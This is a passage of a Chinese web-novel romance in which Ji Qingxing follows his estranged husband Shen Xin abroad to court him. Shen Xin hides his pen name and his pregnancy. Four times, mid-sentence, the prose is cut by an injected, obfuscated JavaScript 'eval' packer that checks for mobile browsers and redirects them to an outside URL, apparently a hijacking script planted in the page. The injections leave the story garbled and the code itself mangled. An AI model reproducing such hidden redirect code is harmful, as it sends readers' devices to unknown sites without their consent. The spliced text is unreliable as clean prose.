纪轻行一脸“这问题是认真的吗”的表情,最后无奈地笑了,说:“这边的生意之前一直是我爸妈负责,前阵子老爷子过寿,我爸妈不是回来了嘛,不想那么快又走,就让我过来,把这边的板块熟悉一下。” 顿了顿。 继续说:“当然,也可以说是为了找你,挽回咱们岌岌可危的婚姻。两个理由,看你想听哪个。” 沈昕冷笑:“你不会以为这样显得你很聪明吧?” 纪轻行伸出食指摇了摇:“不,是显得我很深情。” 沈昕再冷笑:“深情?” “比你深情那是肯定的。”纪轻行认真地说,“沈昕,你跑出国的原因我多少能理解,我只是不太明白,你对我为什么这么抵触?我究竟哪里惹到你了?最当初,我跟你的关系非常简单,你自己也说过,咱俩之间没有矛盾。后来,至少在温泉那次,也是你欺负我。再后来,你应该感觉到了我对你的抗拒,直到我提离婚。你那时候肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588022|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定不高兴吧?但你也肯定不知道,我就是在那个时候发觉自己喜欢上你了。” 沈昕一怔。 纪轻行说:“我喜欢上你了,但你口口声声还是把我们的关系当作工具,而且你越是为此主动、努力,我就越不爽,越憋屈。那天早上,就是你引诱我,咱们差点儿成了的那次,你也一定不知道,你躺在沙发上,看着我的眼神究竟有多么的……发自内心地想要拒绝。你紧张,甚至害怕,同时又非常坚定、决然。你把和我在一起当成是大义凛然的自我牺牲,你自己都没意识到,但我看得很清楚,我怎么可能继续?我不要这样。如果我不喜欢你,那或许可以,但我既然喜欢了你,我就绝对不要。” 沈昕低着头,整个人陷入沉默。 “没能在梁瑛出事的时候陪在你身边,我很难过,很心疼。后来意外地有了突破,我觉得这是老天给我们的转机,但你却后悔了。我说喜欢你,你不信,还觉得我有别人。我哪里有别人啊,我想方设法地给你证明,让你安心,我想一点一点地重新建立我们的感情,不要急于一时,没想到你又……” 纪轻行越说越无奈。 沈昕低声道:“既然觉得这么麻烦,那正好算了。” 纪轻行摇了摇头:“老实说,可能是因为我从小不管做什么都很顺吧,现在的确是有点儿焦头烂额,但我从没想过算了,一丁点儿、一秒钟都没想过。对于喜欢你这件事,我非常坚定。” 沈昕自嘲地笑:“可能正是因为你不管做什么都很顺,所以第一次受挫,你接受不了,你一定要征服,征服不是喜欢。” 纪轻行也嗤笑:“是征服还是喜欢,不是单靠你一张嘴一句话就能确定的,空辩这些没必要。沈昕,就我现在能想到的,最令你不满的可能是那天你打电话问我喜欢你什么、有多喜欢你,我没答上来。天地良心,你也不看看你是几点给我打的电话,我还以为我做梦呢。” 沈昕:……………… “不过爱情就是不同寻常吧,经过了最初的焦头烂额,我也开始适应了,平淡正常确实没意思,刺激点儿更有体验感。”纪轻行侃侃而谈,看起来心态很好,“我承认,我暂时是不能具体地说出我究竟喜欢你什么和有多喜欢你,其实我以前觉得这个问题不是非要回答,也不是必有答案,但既然你需要,我就愿意给,并且我现在也发觉它很有趣,值得好好回答。所以我来了。我这次来,会慢慢地用实际行动告诉你,我究竟喜欢你什么,以及有多喜欢。我们一起去见证那个答案,好不好?” 沈昕的心和手指同时跳动了一下。 “为、为什么非要见证,可以不见证的。” “因为我说了啊,从没想过算了,一丁点儿、一秒钟都没想过。” “可是我……” “所有人谈恋爱结婚都是从不喜欢到喜欢,你现在不喜欢我,我追你不就得了。你总不能把我追你的权利也剥夺了吧?何况万事皆有可能,说不定以后是你更喜欢我呢,所以也不要现在就急着拒绝,会后悔的哦。” 沈昕:…… 沈昕:………… 沈昕:……………… 这个人怎么这么能诡辩,谈生意的时候练的么? 以前看他写的评论也没发现啊。 沈昕抬起眼睛,本想审视审视纪轻行,却与纪轻行带笑的眼睛碰上。 深邃,像一汪湖水,原来看不见底。 今天却发现,那下面藏着深情。 没错,就是他刚才说过的,深情。 沈昕浑身热了起来。 这才意识到他还穿着纪轻行的大衣。 离开咖啡厅的时候,纪轻行直接穿上了沈昕的羽绒服。 沈昕撩眼看去,对自己来说略宽松的衣裳对纪轻行来说刚好,短款显得他的腿更长,迈步走在雪地里,走到异国风情中,走在圣诞将至的独特氛围里,俊美宁静,像成年人的童话。 临街店铺的玻璃窗呈现出他们的身影。 自己身上他的衣服长而宽大,羊绒轻软,果木香混合着一股更深沉的香味萦绕游走,又活泼又温柔又……充满安全感。 宛如它的主人。 突然沈昕一愣。 不对。 等等。 曾经在酒店的那个早上,纪轻行贴在他的耳边,用温热的气息暧昧的语调说…… “帝国麝香。” “不然你会怀不上的。” 沈昕浑身一僵。 当即停下脚步,把羊绒大衣脱了下来。 31.人精 纪轻行奇怪地停下脚步。 沈昕提溜着羊绒大衣衣领,伸手向前,眉头轻皱,一副赶紧拿走的表情。 纪轻行更奇怪了:“怎么?” “我不穿你的衣服。” “为什么啊?” 纪轻行嘴上这么说,手上倒是痛快,脱了羽绒服还给沈昕,接过大衣,看沈昕穿上羽绒服便走去他身后,把卫衣兜帽拿出来摆好。 沈昕低头整理衣摆和袖子,低声说:“我自己可以。” 纪轻行把大衣挂在臂弯,又给沈昕拉拉链,说:“别只顾着好看,当心冷。” 沈昕抬头撩他一眼,不快地说:“先管好你自己吧。” 纪轻行笑了,穿上大衣,就着拉衣服的近距离,垂目道:“小昕昕,你不对劲,为什么突然不要我的衣服?” “不要就是不要,没有理由。” “骗人。”纪轻行笃定地说。 沈昕:…… 纪轻行虽然不是恋爱高手,但是个人精,这可比恋爱高手更难办。 沈昕便说:“不好看。” “是吗?”纪轻行走到临街店铺的玻璃窗前,左右侧身,“这是今年秋冬大秀的新款,评价挺高的呢。” 沈昕改口道:“我穿不好看。” 纪轻行回头,认真地问:“意思是我穿好看?” 沈昕:………… 懒得理他,沈昕径直走了。 纪轻行跟上去,胳膊贴住沈昕。 沈昕往一边让,纪轻行继续贴。 沈昕简直无语。 就算自己不穿,但纪轻行穿,还凑这么近,效果估计一样。 又一想,自己这念头挺傻的,可稳妥起见…… 他捏了捏手指,说:“你别过来,你身上很难闻。” “难闻?”纪轻行莫名其妙地抬袖凑到鼻子跟前,“就是香水味儿啊,你不是挺喜欢这个味儿的?” “我现在不喜欢了。” 纪轻行的脸上一团迷惑。 沈昕胡言乱语道:“我就是这么善变,所以以前愿意跟你结婚,不代表一直愿意。” “哦。”纪轻行顺坡下驴,“也就是说,虽然现在想跟我离婚,但明天可能就不想了。” 沈昕:……………… 没办法,说不过。 他只能撂下一句“总之你离我远点儿。” 纪轻行停在原地。 片刻后跟上来,竟然把大衣脱了,卷成一团,拿在另一边的手里。 “你……” “你不喜欢嘛。” “那也没必要……” “你走快点儿,赶紧到家,让我暖和暖和不就行了。” 他说得非常自然,像是完全不觉得沈昕会拒绝带他回去。 纪轻行又道:“你别说,咱俩还真有缘分,买个咖啡都能碰见。” 沈昕心想这算什么缘分,他肯定是问过沈知易,才特意到了这里。这个街区不大,常住人口不多,店面就那么些,在这儿待久了,遇上只是逻辑,是概率,不是缘分。 但是…… 沈昕用余光瞥着纪轻行棱角分明的侧脸。 他们俩的确有缘分,有大缘分,一种别说别人不信,连他自己都不敢信的缘分。 回到住处,沈昕刷卡进公寓大门,进电梯,来到家门前,正要指纹解锁,手指突然一收。 他转身对纪轻行说:“你走吧。” 纪轻行:“啊?” 满脸“早不拒绝晚不拒绝临门一脚了才拒绝是什么意思”的表情。 沈昕也有点愧疚,说:“我……没收拾屋子,很乱。” 纪轻行无所谓道:“乱就乱呗。” 沈昕抿唇。 当然不是因为乱,而是因为房间里有他出版过的书,给纪轻行看见就穿了。 “我今天……”他冥思苦想,“也不是真不想让你进来,就是需要一些……心理准备,你……下次吧。” 他自觉态度很好,理由也说得通,纪轻行却狐疑:“你不会是在里面藏人了吧?” 沈昕:…… 他无奈的表情说明了一切,纪轻行便道:“没藏人就让我进去啊,说实话呢,我快渴死了,你以为我刚才为什么买咖啡?结果不仅咖啡一口都没喝上,反而又是说了一大车话又是长跑的。你现在给我口水喝,喝完我就走,绝不打扰你。” 沈昕不动。 纪轻行退而求其次:“你不想让我进去,我就站在这里等总可以吧?” 沈昕:………… 越发显得自己像个坏人。 “那你……就在客厅坐坐,行不行?” “行。” “你要守信,别现在答应了,待会儿又胡来。” “嗐,你把你老公我想成什么人了。” “你上次骗我谈离婚协议,实际是为了套走我的住址,你说你是什么人?” “我错了。”纪轻行举手投降,眼神信誓旦旦,“就那一次,绝不再犯,我拿我对你的真心,拿整个世纪集团向你保证。” 沈昕便暂时信他,转身鼓了鼓腮帮子,一边在心中念叨千万别节外生枝,一边开了锁。 进了屋,纪轻行听话地坐在沙发上。 沈昕去厨房倒水,特意拿了最大的玻璃杯,纪轻行也不客气,一仰头吨吨吨干完,把杯口向外一送,说:“还要,你去倒还是我自己去?” 沈昕接过杯子,这回干脆直接倒了两杯放在茶几上,然后站在通往书房的位置。 他所有的秘密都在书房里。 现在书房门开着,如果专门关门,未免显得此地无银三百两。 他便守在这里,一边谨慎地观察纪轻行。 纪轻行正在喝水,拿着玻璃杯的手掌宽大,指节分明,解开的领口使仰起的脖颈显得很修长,滚动的喉结很……性感,下颌线条也堪称……完美。 哎,本来不想用这些词汇。 但除了这些,似乎也没什么是恰当的。 纪轻行就是“沉老师的狗”。 那个被自己打上“成熟”“通透”“深刻”“有内涵”“知己”“灵魂碰撞”这些标签的人。 现在是他知道纪轻行就是“沉老师的狗”以后,第一次面对面,第一次认认真真地看他。 仍然很难把眼前的人和心里的人合在一起。 但比最初好接受了。 大约有20%的重合,大约是因为纪轻行今天的突然出现,种种行为言语和从前非常不同。 至少在今天早上接到阿圆的电话之前,他仍觉得生活一片黑暗,未来无尽茫然,但重遇纪轻行之后,他又突然觉得…… 黑暗被驱逐开了一点。 更有一些欢快温馨的色彩跳了进来。 这不就是曾经“沉老师的狗”的作用吗? “看我干什么?”纪轻行终于喝够了。 陷入沉思的沈昕回过神来,脸色微红,目光躲闪,下意识找话题。 “你住哪个酒店?” “瑰丽,离这儿不远。” “哦,那你……来几天了?” “半个月。” “啊?”沈昕一愣。 纪轻行笑了:“没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607656|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到吧。” “你怎么不给我打电话?” “不是被拉黑了?”纪轻行故意说。 沈昕脸更红:“放出来了,而且我的意思是……怎么来了不联系我。” “联系你你会理我?”纪轻行更加故意,“不理我倒也罢了,万一我联系你,把你吓得再搬家怎么办?” 沈昕:……………… 真是的,说来说去好像都怪他。 “那你就打算一直这么瞎碰?” “也不是一直。一个月吧,一个月还碰不到我就得想想办法了,因为我也不确定你是不是还住在附近。还好才半个月就碰到了,可见老天爷都在帮咱们。” 沈昕心说那是帮你不是帮我。 垂下眼帘,他低声问:“你什么时候回去?” 纪轻行反问:“你什么时候回去?” “我没想过这个问题。” “那慢慢想,不着急。” 沈昕直言道:“我不想想。” 纪轻行摊手:“不想想就不想呗。” 沈昕终于抬起眼睛:“可你总不能一直待在这儿吧?放下全公司跑过来,不知道什么时候回去,公司的人、你家里的人没意见?” “我都这么大了,做事不需要看任何人的脸色。” “那工作……” “事有轻重缓急,对现在的我来说,家庭比事业重要,何况我爸妈在锦安,一样的。”纪轻行看着沈昕,“你很关心我和我的家人、我的事业嘛。” “谁关心了。”沈昕别开视线,“我只是不想介入别人的因果。” “哎呦呦呦,你这究竟是怎么了?心如死灰的。” 沈昕没说话。 纪轻行长而有力的手指在玻璃杯上敲了敲,似乎是在思考。 片刻后,他放下玻璃杯,脸色认真:“昕昕,人也罢事也罢怎么样都先不提,总之最关键的,你千万别把自己搞抑郁了。你……这么好,不该承受那样的痛苦。” 沈昕一愣。 纪轻行并不完全知道他的事情和心情,却已经看出他正陷在情绪的漩涡里。 他还说自己很好。 “沉老师的狗”也这么说过。 原来文字带上了音色语气之后是这样的。 心中一时柔软,他分明感受到了“被喜欢着”的情绪,这情绪令他不自觉地傲娇,甚至是矫情。 “我哪里好了。”他的声音微微颤抖,“跟、跟你心里的那个人相比,差得远了吧。” “都说了没人,说了那么多做了那么多,你怎么还是不信?你究竟要怎么样才肯信?” 纪轻行非常无奈,又犹豫了一会儿,脸上的神情变得坚定。 他站起来,缓缓地、携着一股压力走到沈昕面前。 沈昕的呼吸急促起来,想往后退,但再退就要进书房了。 他只好坚持与纪轻行对峙。 “你在害怕什么?”纪轻行的视线一扫他身后的门,“害怕我进去是不是?你没在屋里藏人,但是藏了别的。你瞒着我好多,你的专业、你平时干的事情,都瞒着我。昕昕,我是你丈夫,你这样我很难过,真地很难过。但是难过归难过,我也理解你,而且我其实……更为你感到难过。昕昕,别再瞒着我了,实话告诉你吧,我已经什么都知道了。” 纪轻行言语强势,步步紧逼。 他一把揽住沈昕的腰,清晰地感觉到沈昕的身体倏而紧绷。 沈昕意外、震惊,甚至害怕。 额角都出了汗。 因为自己戳穿了他。 因为自己说对了。 32.实话 听到“我什么都知道了”的第一秒,沈昕确实很震惊很害怕,不亚于骤然得知纪轻行就是“沉老师的狗”的时候,宛如一记重锤砸在脑顶,后脑勺和脊背猛然收紧,寒热交替,头晕目眩。 但紧接着就觉得不对。 纪轻行太气定神闲了。 他试探道:“你知道什么了?” 纪轻行胸有成竹地说:“都知道。” “说说看。” “你确定?” “为什么不确定?” 纪轻行叹了口气:“说了我怕你不高兴。” 话到这里,沈昕断定,他绝非“什么都知道”。 心放了下来。 也开始好奇,他究竟从哪儿听来了些什么? “你说就是,我不会不高兴的。” 纪轻行仍然犹豫。 沈昕便以退为进,双手推他胸口:“不说算了,别拉拉扯扯的。” 纪轻行一笑:“意思是说了就能拉拉扯扯?” 沈昕:…… “不说算了,我不想听了。” 这回是认真的。 纪轻行连忙侧头贴着他耳边哄:“说说说,你别生气,你刚说了不生气的。” “你先把爪子撒开。”沈昕皱着眉拨拉肩上的手。 纪轻行也不坚持,松手走开,在客厅里踱步。 “我听你爸说,你这几年一直在写东西,但没什么成果。我想你一定不开心吧,因此不愿跟别人说,甚至不好意思说自己是学文学的,相关种种都不提,结婚之后也一直瞒着我。” “后来你又知道我喜欢……我看沉心的书,而沉心那么厉……在你们这个圈子里很有名气,你就更不好意思说了。” “可能也是因为这个,你对我看沉心的书、跟他聊天、给他打赏这些事非常不满,说起沉心时的态度也……不太好。” 一再收敛措辞,没说出“嫉妒”二字。 沈昕平静地看着他,平静地听完,心里却早已—— 啊? 啊??? 啊?????? 纪轻行的脑回路怎么…… 这么诡异?! 诡异中又透着些许合理。 那家伙自信满满,觉得看透了一切。 现在该怎么应对才好呢? 没有立刻反驳,纪轻行更加认为自己说对了,看着沈昕的眼神变得柔和而充满疼惜。 “昕昕,你的心情我非常理解。我知道,你绝不只是在意有没有收益,对你来说,更重要的是反馈和共鸣,对吧?所以如果你愿意,请让我成为你的读者。我可以跟你讨论,帮你提建议,没有指导你的意思,只是作为听故事的人,和讲故事的人尽情聊一聊,也许可以帮你解决一些困扰,也许会让你产生不一样的思路,总之这一定是个非常有趣的过程。我虽然不创作,但鉴赏水平没的说,不是自夸,连沉心这样的大神都对我非常认可。相应的,如果你暂时不愿意,我当然尊重你,绝不会故意去探寻你的领地。你的书房,不想让我进我就不进,你的东西,不想让我看我就不看,你不要紧张,也无需刻意回避。我们可以拥有这样的默契。” 纪轻行很诚恳。 他为自己考虑了很多,很细,很周全。 沈昕感觉得到。 垂下眼帘想了想,他故意说:“沉心也许不是真地认可你,只是通过这种方式鼓励你打赏。” 纪轻行当即嗤笑:“怎么可能,他不是那种人。你没看过他的书吧?否则肯定不会说出这种话。” 然后一愣。 看着沈昕冷漠的面孔,后悔莫及。 “我不是那个意思!我是说、是说……嗐,总之你明白的,我对他绝对没有……” “纪轻行,你没跟我说实话。”沈昕直视着那双有些慌乱的眼睛,“你似乎是为我付出了很多,但你却连实话都愿意不跟我说。你总是用你的想法揣度我,觉得我会这样、我会那样,其实我真正是什么样,你并不清楚。而你如果一直只是用这种表面讨好的方式,那我们的关系也永远只会流于表面,我不可能跟你……” 沈昕一顿,不知怎么的,一时上头没收住,话说得过了。 果然纪轻行听了便严肃起来,露出深思熟虑的表情,片刻后说:“好,我跟你说实话。我的确喜欢沉心的作品,他的文字、构思、思想无一不让我震撼,让我觉得非常有共鸣,觉得那是一片……在现实生活之外供魂灵魂息的地方。也是机缘吧,他刚一开始写书就被我发现了,我是他的第一批读者,这些年来,读他的书已经成为了我的生活。我欣赏他,崇拜他,甚至觉得我们是能够深度沟通的知己好友。公司发展新业务,我决定跟他合作,必须承认其中有出于私人的原因,但这一切仅止于此,你怀疑的那些是坚决、一丁点儿也没有的。” 沈昕沉默了。 这样的话以前不是没听过。 可隔着屏幕看文字和当面听的感觉截然不同,以为是身在远方不会见面的读者和明确了是纪轻行的感觉又…… 天差地别。 此时此刻,他的心情非常复杂,走去沙发扶手上坐下,他低着头不看纪轻行,半晌后低声问:“既然如此,既然这么重要,你为什么……” “因为你更重要,因为我知道即便只是这样的关系也依然会令你不爽,所以就算再舍不得我也必须舍。我还知道,就算我舍了,但你只要想到我曾经对另一个人投入过那么多时间、金钱和心思,就终究会别扭,甚至会钻牛角尖,觉得虽然无关爱情,但它的意义、程度也许比爱情更深重……” 纪轻行叹了口气。 “不是我单方面揣度你小心眼儿,而是我太怕你会不高兴,太怕我会失去你,所以在你面前尽量将那些简化。现在你要听实话,那我就说实话。昕昕,把一切都交给时间吧,以前的事没法改变,我用以后给你证明,你才是我心里的第一和唯一。” “……我更重要?”沈昕低声喃喃。 他愿意相信在这几个月的婚后生活中,纪轻行喜欢上了他。 毕竟是朝夕相处。 毕竟他也曾对纪轻行动过心。 但这样的感情怎么能突然打败持续多年,上升到灵魂层面的东西? 他又问:“那假如你和沉心可以见面,你觉得你们……” “不要做这种假设。”纪轻行笃定地说,“没发生的事谁也说不准,也许我见到他本人,会发现他其实根本不是我想象的那样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629711|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈昕再度沉默。 纪轻行现在不明真相,说出来的实话简直实得要命,一会儿令他心动,一会儿令他心寒。 但至少是实话,不再只是为了取悦自己,这也令沈昕觉得安慰。 临走的时候,纪轻行颇为依依不舍,非常刻意地问:“昕昕,你不留我吗?” 沈昕淡而直白地说:“不留了,你早点儿回去吧。” 纪轻行一脸更加刻意的伤感。 往门口走了几步,又回过头来。 “要不要一起去吃个晚饭?” 沈昕还是淡而直白地说:“算了吧,我还有事。 ” 纪轻行问:“写东西?” 的确是要写稿,今天已经耽误了快一天。 纪轻行现在的误会对他倒是有利,于是他不承认,也不否认,只道:“你走吧。” 纪轻行一通努力白费,继续往门口走。 沈昕突然说:“等等。” 纪轻行一顿,充满期待地回头。 沈昕进了卧室,很快出来,递给他一张卡。 纪轻行一看,充满期待的脸就垮了。 沈昕说:“之前我是因为不想多费唇舌,所以收了你寄来的卡,其实我不需要,也不想要,还给你。手机转账的五万我也转进去了。” 纪轻行不动。 沈昕也不动。 僵持片刻,纪轻行说:“你就当帮我存着。” 转身就走,走得很快,沈昕甚至没反应过来。 他呆呆地看着空了的玄关和紧闭的门。 半晌深深呼吸。 谁能想到,这一趟出去,居然发生了这么多事呢? 走到窗边向下看,纪轻行离去的背影走在厚厚的积雪上,天上的雪已经停了。 一个人在咖啡厅的时候,他决定了等雪停就去做流产,可是现在,雪真地停了,他却…… 突然不想去了。 他抬起手,在得知怀孕后第一次,用掌心贴上小腹。 像个仪式般,跟自己那刚刚开始成形的孩子打了招呼。 他还久违地产生了写作之外的动力。 阿圆就像个预言家,出去一趟回来,他真地可以商讨工作了。 前两天状态特别不好的时候,本想把报了的培训课程退掉,现在看来也不用了。 纪轻行消失在视野里。 沈昕回到书房,把自己出版的书整理好放进纸箱,又四处仔细看过,确认纪轻行再来将不会有任何不妥。 纪轻行说,来香国是为了找寻“喜欢自己什么”和“有多喜欢”的确切答案。 那么,他就给他时间,也给自己时间,去一点点解释心中的困惑。 接下来,很顺利地写稿,很顺利地联系阿圆,很顺利地睡觉。 第二天清晨,很顺利地被纪轻行的电话吵醒。 电话那头的声音非常快乐。 “验证一下,没骗我啊,确实放出黑名单了。” 沈昕:…… “你就为了这个?” “不止。小昕昕,出来运动吧。” “什么?” “你说你作息混乱,我帮你调一调,把你的面黄肌瘦精神萎靡都治治好。” 33.得寸进尺 花活儿真多,心也……真细。 沈昕一边腹诽一边问:“运什么动?” 纪轻行说:“跑步。” 沈昕当即拒绝:“我不跑步。” 纪轻行很奇怪:“为什么?” 沈昕随口道:“不喜欢跑。” “不喜欢?”纪轻行开始拿腔拿调了,“昨天跑得那么欢,我以为你很喜欢呢。” 沈昕:…… 纪轻行又认真起来:“不想跑步就散散步,也挺好。” 沈昕立刻不落下风道:“跟你一起就不太好。” 纪轻行毫不在意地说:“那咱俩各走一边,当不认识,谁先忍不住跟对方说话就算输,怎么样?” 哪里冒出来的输赢? 无聊。 言语拉扯也很无聊,有动嘴皮子的时间和精力,早就…… 沈昕心里一梗。 感觉自己好像晕晕乎乎地就上了纪轻行的贼船。 半个小时后,他走出公寓,一眼看见纪轻行等在下面。 穿得很运动,还挺……减龄的。 纪轻行笑嘻嘻地凑上来,下巴向公寓大门一抬,说:“你给我办张门禁卡吧。” 沈昕登时翻了个白眼:“得寸进尺。” “不是。”纪轻行剖白自己,“我只是想说,等在外面怪冷的。” “那你可以不来。” “哎呀,干嘛这么认真嘛。”纪轻行发动臭不要脸技能,伸手要搭沈昕的肩,被沈昕侧过一步躲开。 两人顺着路走,沈昕忽然意识到,纪轻行换香水了。 之前的帝国麝香,可能是因为他说过喜欢,纪轻行就一直用,昨天说了不喜欢,纪轻行就立刻换了。 这种在意一个人的方式真是非常…… 老套。 这时纪轻行问:“吃早饭了吗?” 沈昕摇了摇头,顺势想象了一下饭的样子,恶心感便接踵而至。他捂住嘴巴走向一边,躬身干呕,吐不出东西,只觉得胃里泛酸。 “怎么了?”纪轻行跟上来,一手捋他的背,“不是真生病了吧?去医院看看?” 沈昕缓过片刻,决定先不说。 他还没有准备好。 “没生病,不用看。” 纪轻行一脸不信。 他只好说:“真没生病,是……咽炎。” “咽炎不是刷牙的时候恶心吗?” “我是比较严重的那种。”沈昕随口扯谎,“慢性咽炎,主要在于自己调理,去医院没什么用。” 纪轻行仍是不信:“以前怎么没发现你……” “水土病。”沈昕自己都佩服自己的应变能力,“来了这边就会这样。” 纪轻行蹙起眉,想了想说:“我怎么总觉得你在骗我?毕竟你骗我不是一次两次了,但我又没有证据。” “没证据就别瞎说。”沈昕微微脸红,赶紧增强气势,“否则我回去了。” 纪轻行便暂时放弃:“好好好,不说不说,我也是关心你嘛。那走吧,先找地方吃饭。” 附近不是咖啡厅就是甜品店,两人随便进了一家,翻菜单翻得纪轻行头疼。 “啊!我想吃火锅!想吃麻辣爆肚!红烧肉!酱大肘!” 虽然理解,但此一时彼一时,沈昕一想这些就反胃。 他忍耐着打断:“你想吃就回去。” “随口说说嘛。”纪轻行不甚在意,接着看向沈昕,挑逗道,“比起那些,我最想吃的已经在眼前了,夫复何求?” 沈昕“唰”地一下站起来,脸色黑沉,扭身要走。 纪轻行赶紧攥住他的手腕,赔笑道:“我错了我错了,你坐下,我保证不再胡说。” 想到沈昕刚才恶心,他点餐时特意避过甜口,又问:“喝什么?还是冷萃?” 虽然天冷,但店里暖和,稍微喝点儿凉的不要紧,关键是冷萃清爽,能把恶心压一压。 纪轻行非常体贴。 沈昕却道:“不喝冷萃。” 纪轻行只以为他嫌凉,说:“那热美式?或者手冲?” 苦涩感应该也能治恶心。 沈昕又道:“不喝咖啡,喝牛奶吧。” 之前没心思想,昨天稍微想了一下,觉得的确得调整调整生活习惯。 他也不确定咖啡究竟有没有不良影响,就先戒了,等后面确定下来,能喝再喝。 这下纪轻行奇怪了,一起生活了这么久,他看得出来,沈昕虽不至于是个咖啡罐子,但绝对喜欢,而且不爱花式加料,就喜欢品尝豆子本身的气味和层次,对酸、苦、涩的接受度十分良好。 昨天看他喝摩卡已经蛮新鲜了,今天居然变本加厉。 来香国以后的沈昕似乎秘密更多。 他犹豫了一会儿,决定先不问。 吃完早餐,两人沿着街道散步。 昨夜又下雪了,雪停之后,地上积了厚厚的一层,仿佛巨大的棉被和云朵。 走在这样的环境中,心情会没由来地变好。 两人都不说话,静水流深的陪伴感反而更强。 沈昕不好意思看纪轻行,就扭头去另一侧,假装看临街的店铺。 纪轻行笑了。 他能感觉到这种两人之间才有的微妙与默契。 他吹起口哨,是一首耳熟能详的圣诞歌。 这种方式的演绎轻松活泼,既像童话,又很生活,沈昕听着听着,开始在心中哼唱应和。 一曲终了,纪轻行看向沈昕,目光执着,沈昕避犹不及,耳垂红了。 纪轻行扯了扯他的袖口,笑问:“能拉手吗?” 沈昕耳垂更红,说:“不能。” 纪轻行又问:“那勾肩搭背?” 沈昕双眼睁大,匪夷所思。 纪轻行再问:“或者搂腰?” 沈昕彻底无语,直接走了,纪轻行跟上来说:“那还是拉手吧。” 宽大温热的手掌扣上来,沈昕心头不争气地一动,又想打败不争气,用力地抽手。 纪轻行说:“十分钟,就拉十分钟。” 沈昕愤愤道:“你想得美。” “那五分钟。”纪轻行讨价还价,沈昕的抗拒还是不减,他终于说,“一分钟!一分钟总行吧?” 沈昕总算站着不动了。 面无表情,片刻后说:“到点儿了。” “哎……”纪轻行一脸凄苦地放开手,“我好可怜。” 沈昕立即把手放进衣兜,说:“我要回去了。” “回去干什么?写东西?” 沈昕没说话。 纪轻行问:“你写的是什么呀?小说?散文?诗歌?可以给我看看吗?” 沈昕坚决摇头。 “哎。”纪轻行再次一脸凄苦。 沈昕说:“你可以去看沉心的。” 纪轻行眯眼审视他:“不要这样试探我,我不会上钩的。” “谁试探你了。”沈昕心想给你机会你不要,那就别怪我。 “行吧,你回去写,我去公司看看。中午要不要来公司吃饭?有中餐。” 沈昕摇了摇头。 “那出去吃?” 沈昕还是摇头:“现在离中午已经不远了,我不想再出去。” 纪轻行理解写东西的人一写进去就很难停下,点点头说:“那晚上一起吃饭?一天下来总要吃顿正经的吧。” “是要吃,但不一定是跟你。” 纪轻行夸张地“哈”了一声:“你不跟你老公我,还能跟谁?” 沈昕灵机一动,压着眼底的笑意说:“你之前就说过我在外面跟人鬼混,你忘了?” “哎呀。”纪轻行无奈,“我当时吃醋瞎想嘛,我知道你没有……” “不一定哦。”沈昕定定地,半是玩笑半是认真地看着纪轻行。 直把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660966|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来很无所谓的纪轻行给看慌了。 “你、你什么意思……” “我在锦安确实没有,毕竟我回去才几天啊。”沈昕信口胡诌,“但我在香国可是呆了五年多,最青春年少丰富多彩的大学时代,而且香国人你是知道的,又浪漫又奔放又富有艺术气息。” 留下极其丰富的想象空间,沈昕走了。 纪轻行怔在原地,又一个激灵追上去,不可置信地确认:“你胡说的吧?你这么宅,怎么会……我不相信。” “你爱信不信。” “喂,沈昕!你、你是故意的对不对?你就是为了逗我!” “你爱信不信。” 始终是这句话,即便纪轻行不信,心里也不免七上八下。 整整一天人在公司,魂却早丢了。 当天傍晚,沈昕以为自己会接到纪轻行约晚饭的电话,稍微想了想该怎么应对。结果却证明人不该过度准备,因为纪轻行根本就没打电话,而是直接上门,带着世纪集团香国公司厨师做的中餐大餐。 甚至没有让沈昕开门禁,而是在楼下等到其他住户,说明情况跟着进来了。 如此殷勤地站在门口,实在没法拒绝。 世纪集团的厨师虽非名厨,但胜在做法地道,不止纪轻行,沈昕自己也吃得很满足。 饭后纪轻行提议散步,他同意了。 也是为了调整生活习惯。 可惜暂时无法解释,且让纪轻行得意一阵儿吧。 一连几天都是这样。 